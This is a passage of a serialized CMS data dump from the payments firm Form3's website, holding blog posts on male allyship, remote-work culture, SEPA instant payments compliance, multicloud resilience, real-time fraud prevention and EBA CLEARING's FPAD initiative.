comes in many shapes and sizes. It could be mentoring young girls with an interest in STEM, or perhaps it’s simply correcting someone when they give you credit for an amazing piece of work that your female colleague led the delivery of. In many ways, being an ally is more of a mentality than it is a role. It’s about being aware and slowly whitling away at the deeply engrained biases in our culture.",[],"rich_text$4b2d443d-f18e-4bc2-9a43-8599a9a410c6",{"variation":437,"version":438,"items":16016,"primary":16017,"id":16028,"slice_type":468,"slice_label":5},[],{"body":16018},[16019,16022,16025],{"type":988,"text":16020,"spans":16021,"direction":445},"Why be an ally?",[],{"type":25,"text":16023,"spans":16024,"direction":445},"We all have different reasons to be a male ally: some men are fathers who want a better world for their daughter while others simply have diversity targets to meet. I won’t lie, my reasons are entirely selfish. I once mentored a junior engineer who had no degree, no experience, and no confidence. Within a few months she was running circles around me and had effectively become my mentor. It well and truly opened my eyes to the untapped potential of amazing women choosing to work in this industry.",[],{"type":25,"text":16026,"spans":16027,"direction":445},"Technology is driven by innovation. Innovation is driven by challenge. Challenges are solved with creativity. It is one of the most beautiful processes on the planet - the creativity of humans gave us an infinite pool of knowledge, a worldwide exchange of culture and art, and instant communication with the ones we love; it gave us the Internet. Imagine how much more we could have if the innovation and creativity of brilliant young women were set loose to solve this world’s problems.",[],"rich_text$d7b06248-0f6d-4184-97df-383e196e1919",{"variation":437,"version":438,"items":16030,"primary":16031,"id":16052,"slice_type":468,"slice_label":5},[],{"body":16032},[16033,16036,16039,16042,16047],{"type":988,"text":16034,"spans":16035,"direction":445},"Allies at Form3",[],{"type":25,"text":16037,"spans":16038,"direction":445},"This section originally had a list of names and contributions. In hindsight, this was silly; male allies at Form3 are not doing what they do for recognition. We are all allies in our own way, as I’m sure all the male readers of this article are.",[],{"type":25,"text":16040,"spans":16041,"direction":445},"I will leave you with only one question: what more could you be doing?",[],{"type":25,"text":16043,"spans":16044,"direction":445},"[1] https:\u002F\u002Fwww.statista.com\u002Fstatistics\u002F1126823\u002Fworldwide-developer-gender\u002F",[16045],{"start":4603,"end":2651,"type":489,"data":16046},{"link_type":491,"url":15993,"target":493},{"type":25,"text":16048,"spans":16049,"direction":445},"[2] https:\u002F\u002Fwww.statista.com\u002Fstatistics\u002F824162\u002Fnumber-of-finance-insurance-employees-both-genders\u002F",[16050],{"start":4603,"end":2237,"type":489,"data":16051},{"link_type":491,"url":15996,"target":493},"rich_text$3b9229f0-0eb5-4ab2-a82e-6ac0df9a8100","In our second spotlight celebrating International Women's Day,Brendan Devenney, Lead Engineer atFORM3, discusses the concept of ‘male allies’.",{"id":16055,"uid":16056,"type":3743,"data":16057},"alzz3hEAACkAUWR9","keeping-connected-in-a-remote-first-business",{"title":16058,"excerpt":16059,"card_image":16060,"published_date":16066,"reading_time":2375,"tag":3751,"dek":5,"featured_image":16067,"about_form3":16068,"client_about_heading":5,"client_about_body":16069,"author_name":5,"author_title":5,"author_photo":16070,"author_bio":16071,"author_linkedin":16072,"slices":16073,"meta_title":16058,"meta_description":16135},"Keeping connected in a remote first business","Christopher Blain-Malloy",{"dimensions":16061,"alt":16062,"copyright":5,"url":16063,"id":16064,"edit":16065},{"width":412,"height":412},"ffgdf","\u002F_prismic-media\u002Fa7fff0df36098bbe-BChsY_-yjxCvav3s_keeping-connected-in-a-remote-f.png","BChsY_-yjxCvav3s",{"x":398,"y":398,"zoom":399,"background":400},"2022-09-30",{},[],[],{},[],{"link_type":434},[16074,16088,16099,16110,16121],{"variation":437,"version":438,"items":16075,"primary":16076,"id":16087,"slice_type":468,"slice_label":5},[],{"body":16077},[16078,16081,16084],{"type":25,"text":16079,"spans":16080},"Clearly, remote work is here to stay! Not only is it good for business as it allows companies to hire employees in more locations and get access to bigger talent pools, but it’s also the top thing employees are looking for when seeking out new job opportunities. For me, working from home means that I don’t waste time travelling, and I enjoy using my free time  for my hobbies, which I probably wouldn’t have been able to do, had I commuted to an office 5 days a week. ",[],{"type":25,"text":16082,"spans":16083},"However, remote work still has its challenges. It can take longer to form relationships with colleagues you’ve never met in person, and it can be difficult to uphold regular and consistent communication in the same way that you would with an office-based team. This can lead to feelings of loneliness, isolation and generally a lack of engagement with a business. Yet strong work relationships and great communication are essential to any individual, team or company doing well. ",[],{"type":25,"text":16085,"spans":16086},"At Form3 we take a proactive approach to staying connected and take deliberate actions to build and maintain relationships. Here are a few things we do to ensure remote work works. ",[],"rich_text$8fbdb4da-b861-4b1b-bccf-adf627001d19",{"variation":437,"version":438,"items":16089,"primary":16090,"id":16098,"slice_type":468,"slice_label":5},[],{"body":16091},[16092,16095],{"type":988,"text":16093,"spans":16094,"direction":445},"Our social calendar",[],{"type":25,"text":16096,"spans":16097,"direction":445},"Our social calendar is a new feature at Form3 and helps to ensure that there are enough opportunities for employees to spend time with colleagues socially, build relationships and gain new experiences. Our social calendar isn’t all about in person drinking, golf days and litter clean ups; it’s actually all virtual! We enjoy being able to contribute to our ESG strategy with engagement events and activities. These range from Form3 organised sign language lessons on International Braille Day to a sporting challenge that allows employees to amass kilometres which can be exchanged for the planting of trees, all the way to a virtual quiz night to celebrate the holiday season. It’s with these events that we’re able to involve as many or as few colleagues as would like to participate. Of course, all of these involve the opportunity to come into the office if you happen to live nearby, or even stay online after and enjoy an extended video chat. ",[],"rich_text$00b9e909-5644-4d32-92e6-89817af5fe93",{"variation":437,"version":438,"items":16100,"primary":16101,"id":16109,"slice_type":468,"slice_label":5},[],{"body":16102},[16103,16106],{"type":988,"text":16104,"spans":16105,"direction":445},"Employee organised events",[],{"type":25,"text":16107,"spans":16108,"direction":445},"Form3 employees can organise events at their leisure which gives everyone the opportunity to organise events that they and others are passionate about. I really like having this option as it allows a group of people to discuss a shared interest, and then set up an event like a chess night or golf day, all without needing the company to organise it on our behalf. ",[],"rich_text$e46ea97e-69cd-42ff-8206-e49e4e11eb78",{"variation":437,"version":438,"items":16111,"primary":16112,"id":16120,"slice_type":468,"slice_label":5},[],{"body":16113},[16114,16117],{"type":988,"text":16115,"spans":16116,"direction":445},"Special interest groups",[],{"type":25,"text":16118,"spans":16119,"direction":445},"Something I enjoy about Form3 is our special interest groups which allow employees to connect via Slack on subjects they feel passionately about. These special interest groups provide a safe space for new joiners and tenured employees alike to discuss their subjects of interest, from gaming to music to coffee advice and DIY. These groups also replace the casual office chit-chat that would ordinarily happen in the office, but instead, are brought to life via Slack. One of our company values is “everyone matters” and that really feels true at Form3. Whoever you are, wherever you’re from, and whatever you enjoy, there’s a home for you at Form3 and this comes out through our special interest groups. ",[],"rich_text$7bd4d07a-f173-4363-9891-402aa5033212",{"variation":437,"version":438,"items":16122,"primary":16123,"id":16134,"slice_type":468,"slice_label":5},[],{"body":16124},[16125,16128,16131],{"type":988,"text":16126,"spans":16127,"direction":445},"Monday meetings",[],{"type":25,"text":16129,"spans":16130,"direction":445},"We welcome all new joiners in the Monday meeting which typically occurs on their first day. New members of the team are encouraged to share a little bit about themselves; where they are from, their career background, hobbies, interests, etc. We take the time to do this as it is important to help new joiners as quickly as possible. In my experience, I spoke for my love of music and sport, and I was invited to special interest groups and having meaningful conversations within moments. Any feelings of isolation and uncertainty as a new starter at a remote first company were quickly pushed aside. ",[],{"type":25,"text":16132,"spans":16133,"direction":445},"This is how we try to stay connected at Form3, but we expect that we’ll build on this more over time. If you work for a company that is doing great things to keep employees connected, please do share these with us – we'd love more inspiration! ",[],"rich_text$fcfffb83-a714-4de3-b474-55c464d4db5e","Clearly, remote work is here to stay! Not only is it good for business as it allows companies to hire employees in more locations and get access to bigger talent pools, but it’s also the top thing employees are looking for when seeking out new job opportunities.",{"id":16137,"uid":16138,"type":3743,"data":16139},"alzymxEAACwAUWF_","innovation-and-regulation",{"title":16140,"excerpt":16141,"card_image":16142,"published_date":16148,"reading_time":1633,"tag":3751,"dek":16149,"featured_image":16150,"about_form3":16155,"client_about_heading":5,"client_about_body":16156,"author_name":5,"author_title":5,"author_photo":16157,"author_bio":16158,"author_linkedin":16159,"slices":16160,"meta_title":16140,"meta_description":16266},"Balancing Regulation with Innovation: Paving a Way Forward","The European banking sector faces the dual challenge of complying with stringent regulatory deadlines for instant payments while fostering innovation to stay competitive.",{"dimensions":16143,"alt":16144,"copyright":5,"url":16145,"id":16146,"edit":16147},{"width":412,"height":412},"Payment platform illustration","\u002F_prismic-media\u002F9136edd364b63494-g70HjNmK4Eq7jX4S_innovation-and-regulation.svg","g70HjNmK4Eq7jX4S",{"x":398,"y":398,"zoom":399,"background":650},"2024-10-01","The European banking sector is at a critical juncture, facing the dual imperative of adhering to stringent regulatory requirements while pursuing innovation to remain competitive. The imminent implementation of the SEPA Instant Credit Transfer (SCT Inst) mandate underscores the need for banks to reconcile compliance obligations with the demand for advanced payment solutions. This convergence presents significant challenges related to regulatory adherence, technological upgrades, and strategic planning.",{"dimensions":16151,"alt":16144,"copyright":5,"url":16152,"id":16153,"edit":16154},{"width":501,"height":646},"\u002F_prismic-media\u002F702a15ca26dc9d9a-C4x5JN7osDDsIwZU_fe903d61-28ba-4306-ba5b-2420c4d.jpg","C4x5JN7osDDsIwZU",{"x":398,"y":398,"zoom":399,"background":650},[],[],{},[],{"link_type":434},[16161,16181,16198,16215,16232],{"variation":437,"version":438,"items":16162,"primary":16163,"id":16180,"slice_type":468,"slice_label":5},[],{"body":16164},[16165,16168,16171,16174,16177],{"type":25,"text":16166,"spans":16167,"direction":445},"Financial institutions are confronted with pressing deadlines for compliance. Banks have a mere nine months to enable the receipt of instant payments and eighteen months to facilitate the sending of instant payments across all channels while implementing verification of payee mechanisms. Research indicates that six out of ten banks consider these timelines unrealistic, given the extensive operational changes required. ",[],{"type":25,"text":16169,"spans":16170,"direction":445},"Banks can be categorised based on their current engagement with instant payments. Institutions already offering instant payment services are not fully prepared despite existing capabilities. Implementing verification of payee across all channels—including mobile applications, online banking platforms, self-service kiosks, and call centres—poses a significant challenge. Furthermore, banks are no longer permitted to impose additional fees for instant payments compared to standard SEPA payments. This removal of fees is anticipated to increase adoption among corporate clients, leading to a substantial rise in transaction volumes. Current systems, capable of handling tens or hundreds of transactions per second, may prove inadequate when instant payments become the norm. ",[],{"type":25,"text":16172,"spans":16173,"direction":445},"Banks that have yet to offer instant payments face greater challenges in meeting compliance requirements. For some institutions, particularly private banks and asset managers, payments may not constitute their core business. These banks traditionally operate on a business day schedule, closing systems overnight. Core banking systems perform end-of-day processing and are not designed for 24\u002F7 real-time payments. There is an urgent need for these institutions to become permanently accessible to support instant payments. ",[],{"type":25,"text":16175,"spans":16176,"direction":445},"The challenge of balancing regulatory compliance with the need for innovation is pronounced. Banks are allocating a significant portion of their resources—often 80 to 90 per cent—to regulatory matters and maintaining existing infrastructure. This focus on compliance can divert attention and resources away from innovation. In a recent panel discussion, regulatory issues were identified as the primary factor impeding innovation within banks. ",[],{"type":25,"text":16178,"spans":16179,"direction":445},"Innovation is essential not merely to gain a competitive edge but to keep pace with industry advancements. The solution to this challenge is twofold. Firstly, banks should consider building and scaling new solutions using cloud technologies. Cloud platforms offer the flexibility to implement innovations as they emerge, ensuring that banks can adapt to ongoing changes without overhauling their entire infrastructure. Secondly, collaborating with specialised partners who excel in specific areas can provide access to cutting-edge solutions tailored to institutional needs without the burden of in-house development. ",[],"rich_text$f882a32b-519f-48af-af49-2c3af5ed584a",{"variation":437,"version":438,"items":16182,"primary":16183,"id":16197,"slice_type":468,"slice_label":5},[],{"body":16184},[16185,16188,16191,16194],{"type":988,"text":16186,"spans":16187,"direction":445},"Challenges in Adopting Instant Payments with the SEPA Instant Mandate",[],{"type":25,"text":16189,"spans":16190,"direction":445},"The implementation of the SEPA Instant Credit Transfer mandate has revealed significant disparities in how prepared banks are for instant payments. Some institutions are well ahead in their preparations, while others have made little progress. This situation is surprising given the proximity of the mandate's deadlines. ",[],{"type":25,"text":16192,"spans":16193,"direction":445},"A critical challenge is the outdated infrastructure that hinders the adoption of instant payments. Banks may find it difficult to identify suitable partners compatible with legacy systems, creating a cycle where progress is stalled due to both internal and external factors. Upgrading infrastructure is a critical operational challenge. Banks are beginning to leverage cloud technologies for instant payment processing, which offer scalability and flexibility. However, a comprehensive core banking transformation or replacement is not feasible within the nine-month timeframe. Therefore, banks must think tactically about immediate options to meet deadlines. ",[],{"type":25,"text":16195,"spans":16196,"direction":445},"Tactical planning involves prioritising critical updates and incremental improvements to meet immediate compliance needs. Implementing stand-in processing or shadow balances can serve as interim solutions to enable 24\u002F7 operations. Engaging with specialised providers who offer standardised solutions can help institutions avoid the time-consuming process of developing heavily customised systems. Maintaining payment engines and core banking systems as standard as possible helps lower total operating costs and facilitates faster compliance. ",[],"rich_text$a40bef57-2b0c-40df-af0d-502a7f7d4fef",{"variation":437,"version":438,"items":16199,"primary":16200,"id":16214,"slice_type":468,"slice_label":5},[],{"body":16201},[16202,16205,16208,16211],{"type":988,"text":16203,"spans":16204,"direction":445},"Addressing the Rise in Real-Time Fraud with the Growth of Instant Payments",[],{"type":25,"text":16206,"spans":16207,"direction":445},"The digitalization of payments, while beneficial for speed and efficiency, inherently increases the risk of financial crime and fraud. Real-time transactions and higher volumes provide more opportunities for fraudulent activities, posing significant challenges for financial institutions. ",[],{"type":25,"text":16209,"spans":16210,"direction":445},"Addressing security concerns is paramount. Banks need to adopt multiple sources of data and layer solutions across all stages of the payment process—inbound screening, outbound screening, and processing—to create a robust defence against fraud. It is challenging for individual banks to gather all necessary tools and data independently. Therefore, adopting a comprehensive perspective, possibly through partnerships with specialised providers, can enhance the ability to detect patterns and prevent fraudulent activities proactively. ",[],{"type":25,"text":16212,"spans":16213,"direction":445},"Building consumer confidence is also essential. Banks must prioritise security measures that reassure consumers and encourage the adoption of instant payments over legacy systems. Transparent communication about fraud prevention strategies and a demonstrable commitment to safeguarding customer funds are crucial in this endeavour.",[],"rich_text$094e29b0-83ce-4f01-a888-c4556191d9cb",{"variation":437,"version":438,"items":16216,"primary":16217,"id":16231,"slice_type":468,"slice_label":5},[],{"body":16218},[16219,16222,16225,16228],{"type":988,"text":16220,"spans":16221,"direction":445},"Looking Towards the Future",[],{"type":25,"text":16223,"spans":16224,"direction":445},"The transition to instant payments will have a significant impact on both financial institutions and their customers. Customers, especially corporate clients, are enthusiastic about the adoption of instant payments. New use cases are emerging, such as e-commerce and point-of-sale transactions, which are currently dominated by card payments that are relatively more expensive. Instant payments offer a cost-effective alternative, potentially reducing transaction fees and increasing efficiency. Corporations stand to gain an extra day of working capital without incurring additional costs, enhancing liquidity and financial management. ",[],{"type":25,"text":16226,"spans":16227,"direction":445},"Financial institutions must also consider the broader implications of instant payments on their business models. The increased speed and convenience of payments could lead to changes in customer behaviour and expectations. Banks that adapt effectively can leverage instant payments to enhance customer satisfaction and loyalty. Conversely, those that fail to meet expectations risk losing market share to more agile competitors. ",[],{"type":25,"text":16229,"spans":16230,"direction":445},"Continuous monitoring of developments and best practices will be essential. Financial institutions should anticipate further regulatory changes and technological advancements that will shape the payments landscape. Embracing innovation is not solely about compliance but also about positioning for future competitiveness.",[],"rich_text$4d680937-68ed-4144-aeee-2b8caf199106",{"variation":437,"version":438,"items":16233,"primary":16234,"id":16265,"slice_type":468,"slice_label":5},[],{"body":16235},[16236,16238,16241,16245,16249,16253,16257,16261],{"type":988,"text":4445,"spans":16237,"direction":445},[],{"type":25,"text":16239,"spans":16240,"direction":445},"Financial institutions must assess their readiness for the SEPA instant payments mandate. It is important to develop tactical plans that address immediate compliance requirements while laying the groundwork for long-term strategic improvements. Institutions should: ",[],{"type":3373,"text":16242,"spans":16243,"direction":445},"Engage with Specialised Partners: Collaborate with providers who offer expertise in instant payments and can facilitate the necessary operational changes within the stringent timelines. ",[16244],{"start":398,"end":9077,"type":593},{"type":3373,"text":16246,"spans":16247,"direction":445},"Leverage Cloud Technologies: Adopt scalable and flexible cloud solutions to handle increased transaction volumes and ensure 24\u002F7 system availability. ",[16248],{"start":398,"end":871,"type":593},{"type":3373,"text":16250,"spans":16251,"direction":445},"Implement Robust Security Measures: Enhance fraud detection and prevention mechanisms to safeguard against the increased risks associated with instant payments. ",[16252],{"start":398,"end":628,"type":593},{"type":3373,"text":16254,"spans":16255,"direction":445},"Develop Scalable Architecture: Focus on designing systems capable of handling anticipated transaction volumes efficiently. ",[16256],{"start":398,"end":690,"type":593},{"type":3373,"text":16258,"spans":16259,"direction":445},"Prioritise Tactical Planning: Recognize that comprehensive overhauls are not feasible within tight deadlines and focus on critical updates and incremental improvements. ",[16260],{"start":398,"end":3041,"type":593},{"type":3373,"text":16262,"spans":16263,"direction":445},"Monitor Regulatory Developments: Stay informed about further regulatory changes and technological advancements to remain compliant and competitive. ",[16264],{"start":398,"end":9077,"type":593},"rich_text$b0d38168-83aa-45bb-931d-1871873b055b","The European banking sector faces the dual challenge of complying with stringent regulatory deadlines for instant payments while fostering innovation to stay competitive. Outdated infrastructures, the imperative for 24\u002F7 operations, and rising real-time fraud add layers of complexity. How can financial institutions navigate these challenges to meet regulatory requirements while positioning themselves for future competitiveness? Delve into the strategic approaches that can pave the way forward in this evolving payments landscape.",{"id":16268,"uid":16269,"type":3743,"data":16270},"alzzLREAACkAUWLP","report-from-cloud-to-multicloud-a-pathway-to-resilience",{"title":16271,"excerpt":16272,"card_image":16273,"published_date":16278,"reading_time":506,"tag":419,"dek":5,"featured_image":16279,"about_form3":16284,"client_about_heading":5,"client_about_body":16285,"author_name":5,"author_title":5,"author_photo":16286,"author_bio":16287,"author_linkedin":16288,"slices":16289,"meta_title":16271,"meta_description":16300},"From Cloud to Multicloud: A Pathway to Resilience","The term multicloud has various interpretations, each offering different levels of resilience and reliability for bank payment platforms. Financial institutions may believe they have implemented a true multicloud model, but discrepancies in definitions can lead to confusion.",{"dimensions":16274,"alt":16271,"copyright":5,"url":16275,"id":16276,"edit":16277},{"width":412,"height":412},"\u002F_prismic-media\u002F6584f355bb41fe4d-mWcSM2-FHle3w0Io_report-from-cloud-to-multicloud.png","mWcSM2-FHle3w0Io",{"x":398,"y":398,"zoom":399,"background":400},"2023-06-29",{"dimensions":16280,"alt":5,"copyright":5,"url":16281,"id":16282,"edit":16283},{"width":501,"height":501},"\u002F_prismic-media\u002F9446732e2ffa16dc-H5wVEBiU5xGHnafd_74d1685f-b59d-4ec8-a8dc-a193fc1.png","H5wVEBiU5xGHnafd",{"x":398,"y":398,"zoom":399,"background":400},[],[],{},[],{"link_type":434},[16290],{"variation":437,"version":438,"items":16291,"primary":16292,"id":16299,"slice_type":468,"slice_label":5},[],{"body":16293},[16294,16296],{"type":25,"text":16272,"spans":16295},[],{"type":25,"text":16297,"spans":16298},"Download this report to gain insights from an industry survey, conducted in association with Finextra. Designed to glean the general attitude and approach multi-cloud infrastructure, perceived benefits and perceived challenges around implementation. Notably, it sought to establish the general awareness of various new and incoming regulations around resilience and systemic risk, of how cloud and cloud providers can navigate this and how much, if any, business opportunity firms see in resilience and risk compliance.",[],"rich_text$b4619853-e416-4594-a7d5-a91dfd7b4e0a","The term multicloud has various interpretations, each offering different levels of resilience and reliability for bank payment \nplatforms. Financial institutions may believe they have implemented a true multicloud model, but discrepancies in definitions can lead to \nconfusion.",{"id":16302,"uid":16303,"type":3743,"data":16304},"alzzIxEAACsAUWK4","fraud-prevention-in-real-time-how-us-banks-can-stay-ahead-of-the-criminals",{"title":16305,"excerpt":16306,"card_image":16307,"published_date":16312,"reading_time":418,"tag":5813,"dek":16313,"featured_image":16314,"about_form3":16320,"client_about_heading":5,"client_about_body":16321,"author_name":11351,"author_title":11352,"author_photo":16322,"author_bio":16325,"author_linkedin":16336,"slices":16338,"meta_title":16305,"meta_description":16306},"Fraud prevention in real-time: how US banks can stay ahead of the criminals","Getting to grips with fraud is a major priority for the financial services industry. It’s a seemingly never-ending battle; new threats emerge all the time, existing threats evolve and fraudsters continually change their tactics.",{"dimensions":16308,"alt":16305,"copyright":5,"url":16309,"id":16310,"edit":16311},{"width":412,"height":412},"\u002F_prismic-media\u002F471ee335ddc2779d-RJlFQdiMTfxdGc8w_fraud-prevention-in-real-time-h.png","RJlFQdiMTfxdGc8w",{"x":398,"y":398,"zoom":399,"background":400},"2023-07-07","Getting to grips with fraud is a major priority for the financial services industry. It’s a seemingly never-ending battle; new threats emerge all the time, existing threats evolve and fraudsters continually change their tactics.And where there is fraud, regulatory scrutiny is bound to follow. The US government is currently looking very closely at fraudulent activity in the digital assets space in particular right now. The White House is also supporting educational campaigns to make people aware of the dangers of fraud in this area. It’s a battle that needs to be fought on multiple fronts in order to be effective. Banks should also be looking at how they can enhance their fraud detection and prevention activities now more than ever. And as the US payments industry prepares to make the leap to a fully-fledged real-time environment, the risks are especially high.",{"dimensions":16315,"alt":16316,"copyright":5,"url":16317,"id":16318,"edit":16319},{"width":501,"height":646},"Fraud prevention","\u002F_prismic-media\u002F9029f91733852f13-B418AmpbEza50Rx9_ef351dce-eb4f-41f5-8956-4a2c127.png","B418AmpbEza50Rx9",{"x":398,"y":398,"zoom":399,"background":400},[],[],{"dimensions":16323,"alt":11453,"copyright":5,"url":11357,"id":11358,"edit":16324},{"width":11355,"height":11356},{"x":398,"y":398,"zoom":399,"background":400},[16326,16328,16330,16332,16334],{"type":25,"text":11362,"spans":16327,"direction":445},[],{"type":25,"text":11365,"spans":16329,"direction":445},[],{"type":25,"text":11368,"spans":16331,"direction":445},[],{"type":25,"text":11371,"spans":16333,"direction":445},[],{"type":25,"text":11374,"spans":16335,"direction":445},[],{"link_type":491,"key":16337,"url":11378,"target":493},"4b7f0107-dae7-46d2-a588-309d75331146",[16339,16353,16375],{"variation":437,"version":438,"items":16340,"primary":16341,"id":16352,"slice_type":468,"slice_label":5},[],{"body":16342},[16343,16346,16349],{"type":988,"text":16344,"spans":16345,"direction":445},"New payment technologies mean fraud attempts will rise",[],{"type":25,"text":16347,"spans":16348,"direction":445},"With FedNow going live this year, it’s inevitable that we will see a rise in fraudulent activity. For banks in the US that want to be part of the real-time payments revolution, fraud detection and prevention is just one of the headaches they currently have; there is also the problem of making sure they have the technology and capacity to actually deal with real-time payments. ",[],{"type":25,"text":16350,"spans":16351,"direction":445},"The only real solution is to avoid the problem altogether. And the only way to avoid the problem altogether is to build a system that allows for the application of increasingly new technologies for the monitoring of fraud because the volumes and the speed at which these transactions are processed can only be handled by highly sophisticated technology and the application of artificial intelligence. You cannot do this if you're still operating on a mainframe platform.",[],"rich_text$69c49205-5465-4259-99c3-38b9284ead0f",{"variation":437,"version":438,"items":16354,"primary":16355,"id":16374,"slice_type":468,"slice_label":5},[],{"body":16356},[16357,16360,16363,16366],{"type":988,"text":16358,"spans":16359,"direction":445},"Banks need trusted partners to help them fight fraud",[],{"type":25,"text":16361,"spans":16362,"direction":445},"The question for banks then becomes how they build such a system. It would require an enormous amount of resources; few banks would be able to find the necessary investment even without a mid-2023 deadline looming. So, then, banks need to look to third-party partnerships in their attempts to mitigate the risks of fraud.",[],{"type":25,"text":16364,"spans":16365,"direction":445},"Banks are, of course, already spending a great deal on fraud detection and prevention. We have seen a massive increase in spend to try and head off the surge in activity, which has manifested in two ways. Firstly, banks are hiring information security experts. Right now, InfoSec people are the group among all engineers that are in the highest demand. ",[],{"type":25,"text":16367,"spans":16368,"direction":445},"Secondly, that spend is also manifesting in investment in new technologies and new technology partners that specialize in this space. More and more of the banks are coming to rely on third party companies to provide this service. This is part of the reason why spending on fraud detection and prevention is forecast to grow at a staggering rate in coming years; the global Fraud Detection and Prevention market is projected to grow to $65.8 billion by 2026 from $24.8 billion in 2021, at a Compound Annual Growth Rate of 21.5%.",[16369],{"start":16370,"end":16371,"type":489,"data":16372},366,410,{"link_type":491,"url":16373,"target":493},"https:\u002F\u002Fwww.marketsandmarkets.com\u002FMarket-Reports\u002Ffraud-detection-prevention-market-1312.html","rich_text$6da53cba-9523-485b-94a7-0daa71427d09",{"variation":437,"version":438,"items":16376,"primary":16377,"id":16391,"slice_type":468,"slice_label":5},[],{"body":16378},[16379,16382,16385,16388],{"type":988,"text":16380,"spans":16381,"direction":445},"Think digital first for payments and fraud prevention",[],{"type":25,"text":16383,"spans":16384,"direction":445},"The truth is, real-time payment systems will both contribute to and help solve fraudulent activity. Therefore, banks have to adopt new technologies, new processes, new approaches, and that's not only for fraud, but also for liquidity management, for sanction screening, everything associated with the payment flow. ",[],{"type":25,"text":16386,"spans":16387,"direction":445},"For banks to operate effectively in a real-time world they’re going to need to plug and play on the fly or else you're going to be left behind. This approach brings flexibility. It brings security at scale. It brings overarching market oversight. These benefits are not accessible to individual banks on their own without leveraging a third-party provider.",[],{"type":25,"text":16389,"spans":16390,"direction":445},"The US government is throwing its weight behind FedNow — it has pledged to use instant payment systems for its own transactions where appropriate such as in the context of distribution of disaster, emergency or other government-to-consumer payments — and the White House has also mentioned plans to create a federal framework to regulate nonbank payment providers very recently. Banks need to be aware just how closely the payments space is going to be watched in the coming months and years, because any slip-ups could prove to have a massive impact on their reputation. Look to trusted third party providers to mitigate the risks.",[],"rich_text$03a9f8c3-2766-4388-8105-a6f4d546e7ca",{"id":16393,"uid":16394,"type":3743,"data":16395},"alzy8REAACwAUWJI","understanding-fpad-a-game-changer-for-european-banks",{"title":16396,"excerpt":16397,"card_image":16398,"published_date":16404,"reading_time":418,"tag":3751,"dek":16397,"featured_image":16405,"about_form3":16410,"client_about_heading":5,"client_about_body":16411,"author_name":5,"author_title":5,"author_photo":16412,"author_bio":16413,"author_linkedin":16414,"slices":16415,"meta_title":16396,"meta_description":16397},"Understanding FPAD: A Game-Changer for European Banks","The European banking landscape is undergoing a significant transformation, with the recent publication of the initial views on the scope and requirements under PSD3 shaping the markets direction on improving and enhancing the payment ecosystem. Whilst PSD3 is drawing a lot of focus, with the introduction of the Fraud Pattern and Anomaly Detection (FPAD) functionality, which is being spearheaded by EBA CLEARING, looks to augment and enhance how Financial Institutions manage and mitigate the risk from payment fraud.",{"dimensions":16399,"alt":16400,"copyright":5,"url":16401,"id":16402,"edit":16403},{"width":412,"height":412},"FPAD","\u002F_prismic-media\u002Fe13f68a71b91da1f-PvIoDQP6FkABLBAo_understanding-fpad-a-game-chang.png","PvIoDQP6FkABLBAo",{"x":398,"y":398,"zoom":399,"background":400},"2023-10-05",{"dimensions":16406,"alt":5,"copyright":5,"url":16407,"id":16408,"edit":16409},{"width":501,"height":646},"\u002F_prismic-media\u002F1bb5d1888654b0ea-orty3hQBsWqWmr0H_2af3a491-9c1d-4426-bf94-55d5270.jpg","orty3hQBsWqWmr0H",{"x":398,"y":398,"zoom":399,"background":650},[],[],{},[],{"link_type":434},[16416,16436,16450,16464,16478,16498],{"variation":437,"version":438,"items":16417,"primary":16418,"id":16435,"slice_type":468,"slice_label":5},[],{"body":16419},[16420,16423,16426,16429,16432],{"type":988,"text":16421,"spans":16422,"direction":445},"What is FPAD?",[],{"type":25,"text":16424,"spans":16425,"direction":445},"FPAD stands for Fraud Pattern and Anomaly Detection. It's a pan-European initiative designed to provide real-time fraud prevention and detection tools. There are 2 clear component parts regarding FPAD, which are: ",[],{"type":1151,"text":16427,"spans":16428,"direction":445},"The introduction of a IBAN verification check – it is expected that this will work in a similar way to the Confirmation of Payee (CoP) scheme in the UK which has played a material role in the introduction of effective friction to discourage customers from being a victim of Fraud. ",[],{"type":1151,"text":16430,"spans":16431,"direction":445},"The creation of a Fraud detection model, which is looking to determine probability of fraud risk on a payment, based upon based performance and attributes within the payment message. ",[],{"type":25,"text":16433,"spans":16434,"direction":445},"Collectively, these 2 parts are gearing towards the objective to enable users of STEP2 and RT1 systems to complement their individual risk views with insights on patterns and anomalies from a central infrastructure level perspective.",[],"rich_text$eadf46f1-6d39-405e-a1f0-71f01875841d",{"variation":437,"version":438,"items":16437,"primary":16438,"id":16449,"slice_type":468,"slice_label":5},[],{"body":16439},[16440,16443,16446],{"type":988,"text":16441,"spans":16442,"direction":445},"EBA CLEARING's Role",[],{"type":25,"text":16444,"spans":16445,"direction":445},"EBA CLEARING has been at the forefront of this initiative, recently announcing the issuance of specifications for the FPAD functionality. Alongside this, they've also launched a developer portal, complete with a sandbox, to aid users in the development and testing of FPAD’s application programming interfaces (APIs). ",[],{"type":25,"text":16447,"spans":16448,"direction":445},"The development of EBA CLEARING’s FPAD functionality began in early 2023, following the release of a blueprint and subsequent RT1 and STEP2 user consultation in Q4 2022. Both STEP2 and RT1 are pan-European retail payment systems that process SEPA Credit Transfers and Direct Debits (STEP2) and SEPA Instant Credit Transfers (RT1) respectively. These systems are owned and operated by EBA CLEARING, a European-owned, European-governed, and European-regulated financial market infrastructure provider. ",[],"rich_text$6d805417-84c8-4f99-ac4d-2b6a536b6c4a",{"variation":437,"version":438,"items":16451,"primary":16452,"id":16463,"slice_type":468,"slice_label":5},[],{"body":16453},[16454,16457,16460],{"type":988,"text":16455,"spans":16456,"direction":445},"The Analytical Pilot Phase",[],{"type":25,"text":16458,"spans":16459,"direction":445},"The summer has seen preparations for the FPAD functionality go-live intensify. Nine banks from six countries have been actively contributing to the data model training of the ongoing analytical pilot phase. The primary aim of this pilot is to develop models that identify fraud patterns in collaboration with users and to qualify anomalies based on their feedback. ",[],{"type":25,"text":16461,"spans":16462,"direction":445},"Erwin Kulk, Head of Service Development and Management at EBA CLEARING, expressed gratitude for the active engagement received from the analytical pilot banks. He emphasised the value created for all STEP2 and RT1 users from day one, with the delivery of the specifications and the developer portal. ",[],"rich_text$e1c38fa2-867c-4682-9e7d-9603c5325c21",{"variation":437,"version":438,"items":16465,"primary":16466,"id":16477,"slice_type":468,"slice_label":5},[],{"body":16467},[16468,16471,16474],{"type":988,"text":16469,"spans":16470,"direction":445},"What Does This Mean for European Banks?",[],{"type":25,"text":16472,"spans":16473,"direction":445},"The introduction of FPAD is set to be a game-changer for European banks. Raphael Barisaac, Global Head of Payments & Cash Management at UniCredit SpA, highlighted the importance of payment systems security. He noted that with the rapid growth of instant payments, there's a pressing need for enhanced security 